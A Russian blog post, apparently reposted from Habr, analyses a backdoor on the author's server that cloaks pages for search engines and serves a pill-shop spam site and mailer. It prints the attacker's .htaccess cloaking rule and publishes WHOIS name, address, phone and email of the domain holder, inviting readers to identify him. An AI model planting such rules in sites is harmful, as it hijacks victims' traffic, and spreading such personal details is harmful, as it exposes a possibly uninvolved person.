И вкратце что тут происходит. Во первых, тут есть проверка пароля (как ни странно, вроде и бэкдор уже есть без какого либо пароля а тут). Первый блок нужен чтобы проверить сработал ли бэкдор и чтобы распаковывать файлы. На момент написания статьи, файлы которые скачиваются с сервера злоумышленника были удалены.

Кстати о сервере злоумышленника. Домен зарегистрирован как «f.gghijacktest.com». По Whois удалось узнать что он принадлежит человеку с данными:

Имя: Gabriel Northrup
Адрес: str. Ivana Cupala 1, Ljubljana NE 4111 SI
Телефон: +714022420218
Email: vlasigor3@gmail.com

Может кто знает человека 😉

Вернёмся к коду. Файлы с сервера злоумышленника сохраняются во временном каталоге на сервере, у меня это была папка "~/tmp" и я нашел в ней папку с именем .md5(мой домен), в которой лежали изменённые страницы моего сайта, они нужны только для ботов. Т.е. в поисковике они отображаются как мой сайт, но с непотребным текстом. А вот если на страницы сайта из поисковика заходит пользователь, то им отображался магазин пилюль по адресу f.gghijacktest.com/lp.php, но в адресе браузера, разумеется, показывается мой домен.

Всех остальных, кто попал на сайт не из поисковиков, либо напрямую ждала, обычная страница, где ссылки пытаются заменить на другие, но этого у меня не происходило т.к. я не нашёл у себя соответствующий файл fff.sess.

А теперь разберём .htaccess:

RewriteEngine on RewriteCond %{ENV:REDIRECT_STATUS} 200 RewriteRule ^ - [L] RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR] RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing) RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]

Тут происходит самое главное, перенаправление ботов и людей из поисковиков в выше разобранный скрипт. 2-я и 3-я строки говорят что надо остановиться после первого удачного применения правил. А последующие строки собственно и определяют правила для ботов и поисковиков и перенаправляют их на bootlegger-limiter.php.

Что касается двух остальных скриптов enthusiasms-raw.php и equaling-intangibles.php, то они абсолютно одинаковые и предназначены, судя по функции mail, для рассылки спама.

Заключение

Вот таким нехитрым образом злоумышленник может воспользоваться вашим сервером и вы, возможно, как и я даже не заметите этого. Стоит отметить, что на этом сервере у меня не хранится ничего важного и поэтому в него я заглядываю очень редко. Но даже если бы и заглядывал почаще, то ничего не подозревая, может и не заметил бы пару лишних файлов.

В комментариях можете рассказать о ваших способах борьбы с подобными атаками, думаю многим это будет интересно.

Надеюсь, мой опыт окажется полезным, и вы в очередной раз проверите свои сервера на наличие таких вот простых бэкдоров. Спасибо за внимание.
ссылка на оригинал статьи https://habrahabr.ru/post/313332/

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *